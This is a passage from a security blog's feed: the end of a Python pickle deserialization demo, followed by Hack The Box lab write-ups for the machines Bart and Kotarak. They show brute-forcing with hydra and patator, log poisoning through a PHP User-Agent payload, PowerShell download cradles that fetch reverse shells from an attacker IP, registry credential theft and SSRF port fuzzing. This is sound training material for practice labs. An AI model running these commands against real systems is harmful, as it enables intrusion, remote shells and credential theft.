&lt;h2 id="sending-the-payload"&gt;Sending the payload&lt;/h2&gt;
&lt;p&gt;Finally, we can start a netcat listener and send the payload to our listening Flask application:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# netcat listener for reverse shell in separate window/pane
nc -nvl 1234

# Send request
curl -d &amp;#34;pickled=gASVbgAAAAAAAACMBX...&amp;#34; http://127.0.0.1:5000/hackme
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After sending the http request to &lt;code&gt;/hackme&lt;/code&gt;, our code will execute and give us a shell back.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Lesson from this demonstration: don&amp;rsquo;t unpickle untrusted data. It doesn&amp;rsquo;t matter if you receive this pickled data from anonymous users over the network or if it&amp;rsquo;s passed to you to restore a session or program state.&lt;/p&gt;
&lt;p&gt;If you need to work with untrusted data – depending on your use case – consider signing the data if it could have been modified on the way to you or on disk, or choose a different (safer) serialization method altogether (like JSON), as per the docs. When storing pickles on the filesystem it is also worth checking the file permissions to prevent privilege escalations through modification of those pickles.&lt;/p&gt;
&lt;p&gt;To learn more, I recommend watching the BlackHat 2011 talk &lt;a href="https://www.youtube.com/watch?v=HsZWFMKsM08"&gt;&amp;ldquo;Sour Pickles, A serialised exploitation guide in one part&amp;rdquo;&lt;/a&gt; by Marco Slaviero. He describes in detail the (un)pickling process, the pickle virtual machine parts, and how to craft more general shellcodes using a custom toolset.&lt;/p&gt;</description></item><item><title>Hack the Box Write-up #7: Bart</title><link>https://davidhamann.de/2020/03/21/htb-writeup-bart/</link><pubDate>Sat, 21 Mar 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/03/21/htb-writeup-bart/</guid><description>&lt;p&gt;After doing a couple more machines on &lt;a href="https://hackthebox.eu"&gt;Hack The Box&lt;/a&gt;, Bart was one that I definitely wanted to do a write-up for.&lt;/p&gt;
&lt;p&gt;We start with a bunch of web enumeration and discovering different directories and hostnames. Eventually, we discover a chat application, register our own user and do log poisoning to get our first low priv shell. Privilege escalation to Administrator is then accomplished by identifying AutoLogon credentials stored in the registry. On the way we read some source code, learn about 32/64-bit registry queries and running commands in a different user context.&lt;/p&gt;
&lt;h2 id="recon-and-enumeration"&gt;Recon and Enumeration&lt;/h2&gt;
&lt;p&gt;Our initial &lt;code&gt;nmap -sC -sV -oN nmap/init 10.10.10.81&lt;/code&gt; gives:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since we only discovered one port (80), we do another scan for all ports (&lt;code&gt;nmap -p-&lt;/code&gt;) while having a first look at the site running at 10.10.10.81.&lt;/p&gt;
&lt;p&gt;We get a &lt;code&gt;Location: http://forum.bart.htb/&lt;/code&gt; header back. After adding the hostnames &lt;code&gt;forum.bart.htb&lt;/code&gt; and &lt;code&gt;bart.htb&lt;/code&gt; to &lt;code&gt;/etc/hosts&lt;/code&gt; we are presented with the following site:&lt;/p&gt;
&lt;p&gt;&lt;img alt="forum.bart.htb splash" loading="lazy" src="https://davidhamann.de/images/bart-splash.jpg"&gt;&lt;/p&gt;
&lt;p&gt;The site gives us some interesting information about employee&amp;rsquo;s names and email addresses. Additionally, another employee entry for &amp;ldquo;Harvey Potter&amp;rdquo; is commented out in the HTML source.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;!-- &amp;lt;div class=&amp;#34;owl-item&amp;#34; style=&amp;#34;width: 380px;&amp;#34;&amp;gt;&amp;lt;div class=&amp;#34;team-item&amp;#34;&amp;gt;
 &amp;lt;div class=&amp;#34;team-inner&amp;#34;&amp;gt;
 &amp;lt;div class=&amp;#34;pop-overlay&amp;#34;&amp;gt;
 &amp;lt;div class=&amp;#34;team-pop&amp;#34;&amp;gt;
 &amp;lt;div class=&amp;#34;team-info&amp;#34;&amp;gt;
 &amp;lt;div class=&amp;#34;name&amp;#34;&amp;gt;Harvey Potter&amp;lt;/div&amp;gt;
 &amp;lt;div class=&amp;#34;pos&amp;#34;&amp;gt;Developer@BART&amp;lt;/div&amp;gt;
[...]
--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;From the HTTP headers we also learn that we&amp;rsquo;re dealing with a relatively modern Windows 2016/2019/10 (IIS 10 server header) and a PHP 7.1.7 installation.&lt;/p&gt;
&lt;p&gt;The next step is to brute-force directories. It&amp;rsquo;s a little bit more involved this time as every request to the server returns a 200 status. To get around this, we&amp;rsquo;ll use &lt;code&gt;wfuzz&lt;/code&gt; and filter by the number of characters of the returned data:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wfuzz --hh 150693 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bart.htb/FUZZ&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After a while we discover the &lt;code&gt;/monitor&lt;/code&gt; directory:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;000000067: 301 1 L 10 W 145 Ch &amp;#34;forum&amp;#34; 
000001614: 301 1 L 10 W 147 Ch &amp;#34;monitor&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Going to &lt;code&gt;http://bart.htb/monitor/&lt;/code&gt; gives us a &amp;ldquo;PHP Server Monitor&amp;rdquo; instance. A quick search for public exploits reveals nothing relevant for our use case. What we can do, however, is enumerating usernames via the &amp;ldquo;Forgot Password&amp;rdquo; feature. The obvious first thing to try are the employee names that we noted down earlier.&lt;/p&gt;
&lt;p&gt;&lt;img alt="PHP Server Monitor username enumeration - success" loading="lazy" src="https://davidhamann.de/images/bart-username-enumeration-success.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="PHP Server Monitor username enumeration - fail" loading="lazy" src="https://davidhamann.de/images/bart-username-enumeration-fail.png"&gt;&lt;/p&gt;
&lt;h2 id="brute-forcing-our-way-in"&gt;Brute-forcing our way in&lt;/h2&gt;
&lt;p&gt;Once we know that Daniel and Harvey are valid usernames, we can try brute-forcing the password. While CSRF tokens usually make it a bit harder as we would need to fetch the updated token for every request, in this case we can get around it by just passing the same token and a valid cookie header.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;hydra -L users.txt -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-25.txt &amp;#34;http-post-form://bart.htb/monitor/:csrf=43aa9be1c2751cd82f916413a9d6696b501a075b0bd0a818c3a126e5aa6f809f&amp;amp;user_name=^USER^&amp;amp;user_password=^PASS^&amp;amp;action=login:incorrect:H=Cookie\:PHPSESSID=utstuc3mhm4glhnre75qao4t59&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After a couple of minutes, we successfully discover the password – one that we could have also guessed in the first place, I&amp;rsquo;d say :-)&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[80][http-post-form] host: bart.htb login: Harvey password: potter
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Logging in with the creds redirects us to &lt;code&gt;monitor.bart.htb&lt;/code&gt;, so let&amp;rsquo;s also add this hostname to our &lt;code&gt;/etc/hosts/&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Server Monitor logged in" loading="lazy" src="https://davidhamann.de/images/bart-server-monitor.png"&gt;&lt;/p&gt;
&lt;p&gt;Once logged in we discover yet another hostname: &lt;code&gt;http://internal-01.bart.htb/&lt;/code&gt;. Let&amp;rsquo;s add this one as well and navigate there.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Chat system" loading="lazy" src="https://davidhamann.de/images/bart-chat-system.png"&gt;&lt;/p&gt;
&lt;p&gt;We land at another login prompt. This time for a &amp;ldquo;simple_chat&amp;rdquo; application.&lt;/p&gt;
&lt;h2 id="exploiting-the-left-over-registerphp--or-just-brute-force-again"&gt;Exploiting the left over &amp;ldquo;register.php&amp;rdquo; – or: just brute-force again&lt;/h2&gt;
&lt;p&gt;Googling for a few file names of the application, we quickly discover that this is the source code: &lt;a href="https://github.com/magkopian/php-ajax-simple-chat/tree/master/simple_chat"&gt;https://github.com/magkopian/php-ajax-simple-chat/tree/master/simple_chat&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Skimming through the code, we don&amp;rsquo;t find anything too obvious in the login logic (the sql query looks vulnerable at first sight but is not, as the password is hashed before being included in the query and the username validation also strips quotes before).&lt;/p&gt;
&lt;p&gt;However, we could look into just creating a new user ourselves; the &lt;code&gt;register_form.php&lt;/code&gt; was apparently deleted on the server, but nothing stops us from sending a POST to register.php, which still exists:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;POST /simple_chat/register.php HTTP/1.1
Host: internal-01.bart.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://internal-01.bart.htb/simple_chat/login_form.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Cookie: PHPSESSID=7v28h3a0rk34cg5el3ggmvg60p
Upgrade-Insecure-Requests: 1
uname=itsme&amp;amp;passwd=itsokletmein&amp;amp;submit=Login
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;An alternative approach would be to brute-force the login once more; this time it requires a slightly larger wordlist, but is still doable. As hydra was running a bit slow last time, let&amp;rsquo;s use &lt;code&gt;patator&lt;/code&gt; this time and start only with Harvey as username:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;patator http_fuzz url=http://internal-01.bart.htb/simple_chat/login.php method=POST body=&amp;#39;uname=Harvey&amp;amp;passwd=FILE0&amp;amp;submit=Login&amp;#39; 0=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-45.txt -x ignore:fgrep=&amp;#39;Location: login_form.php&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After about 2 minutes we get a hit:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;patator INFO - 302 354:0 1.051 | Password1 | 3502 | HTTP/1.1 302 Found
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Logging in, we see a chat and a log button at the top right:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Simple Chat logged in" loading="lazy" src="https://davidhamann.de/images/bart-chat-logged-in.png"&gt;&lt;/p&gt;
&lt;h2 id="log-poisoning-to-reverse-shell"&gt;Log poisoning to reverse shell&lt;/h2&gt;
&lt;p&gt;Clicking on &amp;ldquo;log&amp;rdquo; makes a XHR to:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/log/log.php?filename=log.txt&amp;amp;username=harvey
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Going to &lt;code&gt;http://internal-01.bart.htb/log/log.txt&lt;/code&gt;, we can see that the log.txt file was created and includes the given username and our User-Agent header.&lt;/p&gt;
&lt;p&gt;So let&amp;rsquo;s try changing the file to &amp;ldquo;rce.php&amp;rdquo; and adding PHP code to the User-Agent header:&lt;/p&gt;
&lt;p&gt;Sending:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;GET /log/log.php?filename=rce.php&amp;amp;username=harvey HTTP/1.1
Host: internal-01.bart.htb
User-Agent: &amp;lt;?php echo 1+1; ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And then requesting &lt;code&gt;/log/rce.php HTTP/1.1&lt;/code&gt; gives us the following output (the number 2 being our executed code 1+1):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[2020-03-21 20:54:43] - harvey - 2
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now that we can execute code by poisoning the log file, let&amp;rsquo;s prepare to get a reverse shell. I&amp;rsquo;ll use the &amp;ldquo;mini-reverse.ps1&amp;rdquo; from &lt;a href="https://gist.github.com/staaldraad/204928a6004e89553a8d3db0ce527fd5"&gt;https://gist.github.com/staaldraad/204928a6004e89553a8d3db0ce527fd5&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To get the shell, we adjust &lt;code&gt;mini-reverse.ps1&lt;/code&gt; with our IP and desired port number, host it (&lt;code&gt;python3 -m http.server 80&lt;/code&gt;), start a netcat listener (&lt;code&gt;nc -lvnp 443&lt;/code&gt;), and then use a powershell download cradle inside the PHP code in the User-Agent header:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;GET /log/log.php?filename=rce.php&amp;amp;username=harvey HTTP/1.1
Host: internal-01.bart.htb
User-Agent: &amp;lt;?php system(&amp;#34;powershell -c iex (new-object net.webclient).downloadstring(&amp;#39;http://10.10.14.37/mini-reverse.ps1&amp;#39;)&amp;#34;); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Doing another &lt;code&gt;GET /log/rce.php HTTP/1.1&lt;/code&gt; will now execute our code, download mini-reverse.ps1 and initiate our connect-back shell.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.81.
Ncat: Connection from 10.10.10.81:50173.
whoami
nt authority\iusr
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="escalate-to-administrator"&gt;Escalate to Administrator&lt;/h2&gt;
&lt;p&gt;After a few manual checks, we can run an privesc enumeration script like &lt;a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS"&gt;winPEAS&lt;/a&gt; or &lt;a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1"&gt;PowerUp&lt;/a&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;powershell -c &amp;#34;iex(new-object net.webclient).downloadstring(&amp;#39;http://10.10.14.37/PowerUp.ps1&amp;#39;); Invoke-AllChecks&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If we run PowerUp or the winPEAS.bat like above, however, we&amp;rsquo;ll likely miss a few things (namely registry settings), because we&amp;rsquo;re on a 64-bit system but running 32-bit PowerShell, as confirmed like so:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;powershell.exe -c &amp;#34;[Environment]::Is64BitProcess&amp;#34;
False
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To do enumeration in a 64-bit process we could either download and execute something like the winPEAS.exe &lt;em&gt;binary&lt;/em&gt; or run an enumeration script by explicitly callling the 64-bit version of PowerShell:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -c &amp;#34;[Environment]::Is64BitProcess&amp;#34;
True
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So let&amp;rsquo;s run PowerUp again:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -c &amp;#34;iex(new-object net.webclient).downloadstring(&amp;#39;http://10.10.14.37/PowerUp.ps1&amp;#39;); Invoke-AllChecks&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This time we get a very obvious privilege escalation hint:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[*] Checking for Autologon credentials in registry...

DefaultDomainName : DESKTOP-7I3S68E
DefaultUserName : Administrator
DefaultPassword : 3130438f31186fbaf962f407711faddb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you&amp;rsquo;d wanted to read the registry values without PowerShell, you would naturally also need to specify the architecture:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;REG QUERY &amp;quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon&amp;quot; /v DefaultPassword&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;hellip;won&amp;rsquo;t give you anything, whereas&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;REG QUERY &amp;quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon&amp;quot; /v DefaultPassword /reg:64&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;hellip; will give you what you want (note &lt;code&gt;/reg:64&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id="getting-only-the-flag-or-a-full-admin-shell"&gt;Getting only the flag or a full admin shell&lt;/h2&gt;
&lt;p&gt;The stored AutoLogon credentials already give us everything we need to root the box. We can now either just read the root flag or go ahead and get a full Administrator shell.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s first try to read the root flag with our current shell. To do that, we can just run &lt;code&gt;Get-Content&lt;/code&gt; as the Administrator user (see my previous blog post: &lt;a href="https://davidhamann.de/2019/12/08/running-command-different-user-powershell/"&gt;Running commands in a specific user context in PowerShell&lt;/a&gt;):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;powershell.exe -c &amp;#34;$user=&amp;#39;WORKGROUP\Administrator&amp;#39;; $pass=&amp;#39;3130438f31186fbaf962f407711faddb&amp;#39;; try { Invoke-Command -ScriptBlock { Get-Content C:\Users\Administrator\Desktop\root.txt } -ComputerName BART -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }&amp;#34; 2&amp;gt;&amp;amp;1&amp;#34;

0074a38e6e...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now, to get a proper Adminstrator shell, using PSExec and passing the creds is usually an easy way to go. We have one problem here, though: while the machine is listening on 135/445, the firewall doesn&amp;rsquo;t let us in. To get around a situation like this, we could open the port in the firewall (nah, not cool) or proxy the connection through another session (e.g. psexec through proxychains with meterpreter&amp;rsquo;s socks4a module), or just use what we&amp;rsquo;re &lt;em&gt;already&lt;/em&gt; using: another Invoke-Command as Admin, but this time to load our reverse shell script again.&lt;/p&gt;
&lt;p&gt;Starting our netcat listener again like before (using 443 once more so that we don&amp;rsquo;t need to change the script), we receive our administrator reverse shell:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;powershell.exe -c &amp;#34;$user=&amp;#39;WORKGROUP\Administrator&amp;#39;; $pass=&amp;#39;3130438f31186fbaf962f407711faddb&amp;#39;; try { Invoke-Command -ScriptBlock { iex(New-Object Net.WebClient).DownloadString(&amp;#39;http://10.10.14.37/mini-reverse.ps1&amp;#39;) } -ComputerName BART -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }&amp;#34; 2&amp;gt;&amp;amp;1&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And here we go:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.81.
Ncat: Connection from 10.10.10.81:50896.
whoami
bart\administrator
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Cheers!&lt;/p&gt;</description></item><item><title>Hack the Box Write-up #6: Kotarak</title><link>https://davidhamann.de/2020/02/23/htb-writeup-kotarak/</link><pubDate>Sun, 23 Feb 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/02/23/htb-writeup-kotarak/</guid><description>&lt;p&gt;In this write-up we&amp;rsquo;re looking at getting into the retired machine &lt;em&gt;Kotarak&lt;/em&gt; from &lt;a href="https://hackthebox.eu"&gt;Hack the Box&lt;/a&gt;. &lt;em&gt;Kotarak&lt;/em&gt; was a really fun box as it required lots of different techniques and was just a longer journey to root.&lt;/p&gt;
&lt;p&gt;Our first foothold comes via leaked credentials that we can retrieve using server side request forgery. These credentials give us admin access to a Tomcat manager application where we can upload our first reverse shell. From there, we get access to both a NTDS.DIT file and a Windows SYSTEM registry hive which we can leverage to extract user hashes. Cracking these hashes, we level up to another user and eventually use a vulnerability in wget to write our SSH key into the authorized_keys file on another (virtual) host and through that get access to the root flag on there.&lt;/p&gt;
&lt;h2 id="recon-and-enumeration"&gt;Recon and Enumeration&lt;/h2&gt;
&lt;p&gt;We start by mapping out open ports as always: &lt;code&gt;nmap -sV -sC -oN nmap/init 10.10.10.55&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)
| 256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)
|_ 256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods: 
| Supported methods: GET HEAD POST PUT DELETE OPTIONS
| Potentially risky methods: PUT DELETE
|_ See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp open http Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
| http-methods: 
|_ Potentially risky methods: PUT DELETE
|_http-title: Apache Tomcat/8.5.5 - Error report
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While having a look at the most promising port 8080, let&amp;rsquo;s start another scan of all TCP ports in the background: &lt;code&gt;nmap -p- -oN nmap/all-tcp 10.10.10.55&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Looking at the Tomcat instance on 8080 and the default manager path &lt;code&gt;http://10.10.10.55/manager/html&lt;/code&gt;, we try a couple of default creds like &lt;code&gt;tomcat:tomcat&lt;/code&gt;, but quickly see that these won&amp;rsquo;t get us in.&lt;/p&gt;
&lt;p&gt;Checking back on our nmap scan in the background, we have found another open port: 60000. So let&amp;rsquo;s enumerate this one next.&lt;/p&gt;
&lt;p&gt;An Apache instance is listening on 60000 and serves us this page:&lt;/p&gt;
&lt;p&gt;&lt;img alt="kotarak port 60000 screen" loading="lazy" src="https://davidhamann.de/images/kotarak-60000.png"&gt;&lt;/p&gt;
&lt;p&gt;The web application seems to fetch whatever URL we give it. Depending on how the application is fetching and outputting the given URL, we can think of two attacks here. First, can we access internal resources (services that listen only on localhost, are otherwise firewalled or running in an internal subnet), maybe even through other URL schemes (like &lt;code&gt;file://&lt;/code&gt;). Or second, can we serve our own page and inject code that might get executed on the server when the fetched contents are further processed (given the contents are not just echoed back out).&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s first try to access the same site: &lt;code&gt;http://127.0.0.1:60000&lt;/code&gt; – this works. How about &lt;code&gt;file:///etc/passwd&lt;/code&gt;? Nope, just a message &amp;ldquo;Try harder&amp;rdquo; comes back (that particular string seems to be filtered).&lt;/p&gt;
&lt;p&gt;How about accessing other internal services like &lt;code&gt;http://127.0.0.1:22&lt;/code&gt;? Looks good. So let&amp;rsquo;s fuzz all ports for the loopback address using &lt;a href="https://github.com/xmendez/wfuzz"&gt;wfuzz&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wfuzz -z file,ports.txt --hh 2 &amp;quot;http://10.10.10.55:60000/url.php?path=http%3A%2F%2F127.0.0.1%3AFUZZ&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We take the ports (1 - 65535) from ports.txt and for each make a request to &lt;code&gt;http://127.0.0.1:&amp;lt;port&amp;gt;&lt;/code&gt; while hiding responses with only 2 characters (run it first without this flag to determine the right number for &amp;ldquo;empty&amp;rdquo; responses).&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 I later learned through &lt;a href="https://www.youtube.com/watch?v=38e-sxPWiuY"&gt;ippsec&amp;rsquo;s walkthrough&lt;/a&gt;, that you can also do &lt;code&gt;-z range,1-65355&lt;/code&gt; and save the step of creating the port list file.
&lt;/div&gt;

&lt;p&gt;We get a result like the following and see a couple of promising candidates:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;===================================================================
ID Response Lines Word Chars Payload 
===================================================================

000000023: 200 4 L 4 W 62 Ch &amp;#34;22&amp;#34;
000000111: 200 17 L 24 W 187 Ch &amp;#34;110&amp;#34;
000000321: 200 26 L 109 W 1232 Ch &amp;#34;320&amp;#34;
000000201: 200 3 L 2 W 22 Ch &amp;#34;200&amp;#34;
000000091: 200 11 L 18 W 156 Ch &amp;#34;90&amp;#34;
000000889: 200 78 L 265 W 3955 Ch &amp;#34;888&amp;#34;
000003307: 200 2 L 6 W 123 Ch &amp;#34;3306&amp;#34;
000008081: 200 2 L 47 W 994 Ch &amp;#34;8080&amp;#34;
000060001: 200 78 L 130 W 1171 Ch &amp;#34;60000&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Looking closer at them, this is what we got:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;22: OpenSSH &amp;lt;&amp;ndash; We knew this already&lt;/li&gt;
&lt;li&gt;110: Website: &amp;ldquo;Test page&amp;rdquo;&lt;/li&gt;
&lt;li&gt;320: Website: &amp;ldquo;Admin area login&amp;rdquo; &amp;lt;&amp;ndash; Could be interesting&lt;/li&gt;
&lt;li&gt;200: Website &amp;ldquo;Hello World&amp;rdquo;&lt;/li&gt;
&lt;li&gt;90: Website: &amp;ldquo;Page under construction&amp;rdquo;&lt;/li&gt;
&lt;li&gt;888: Website: &amp;ldquo;Simple File Viewer&amp;rdquo; &amp;lt;&amp;ndash; gives us access to some documents&lt;/li&gt;
&lt;li&gt;3306: MySQL &amp;lt;&amp;ndash; Maybe interesting later&lt;/li&gt;
&lt;li&gt;8080: Tomcat &amp;lt;&amp;ndash; We knew this already&lt;/li&gt;
&lt;li&gt;60000: This site &amp;lt;&amp;ndash; We knew this already&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The file viewer should be an easy first target.&lt;/p&gt;
&lt;p&gt;&lt;img alt="File Viewer" loading="lazy" src="https://davidhamann.de/images/kotarak-file-viewer.png"&gt;&lt;/p&gt;
&lt;p&gt;Looking at the structure of the file links, the site serves these like so: &lt;code&gt;?doc=&amp;lt;file&amp;gt;&lt;/code&gt;. Let&amp;rsquo;s check the ones that are &amp;gt; 0 bytes in size.&lt;/p&gt;
&lt;p&gt;For example, the backup file can be accessed by requesting &lt;code&gt;http://127.0.0.1:888/?doc=backup&lt;/code&gt; via the application on 60000. And this particular file is actually a nice find. It&amp;rsquo;s a backup of a Tomcat config file which gives us our first credentials (output shortened):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;tomcat-users&lt;/span&gt; &lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://tomcat.apache.org/xml&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;xmlns:xsi=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://www.w3.org/2001/XMLSchema-instance&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;xsi:schemaLocation=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://tomcat.apache.org/xml tomcat-users.xsd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;version=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;1.0&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;user&lt;/span&gt; &lt;span class="na"&gt;username=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;admin&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;password=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;3@g01PdhB!&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;roles=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;manager,manager-gui,admin-gui,manager-script&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;/tomcat-users&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With these credentials at hand, we can try logging in again at &lt;code&gt;http://10.10.10.55:8080/manager/html&lt;/code&gt;. And voilà, it works!&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tomcat manager" loading="lazy" src="https://davidhamann.de/images/kotarak-tomcat-manager.png"&gt;&lt;/p&gt;
&lt;h2 id="getting-first-shell"&gt;Getting first shell&lt;/h2&gt;
&lt;p&gt;With our admin credentials for the Tomcat manager, we can deploy our own applications to the server and thus have code execution.&lt;/p&gt;
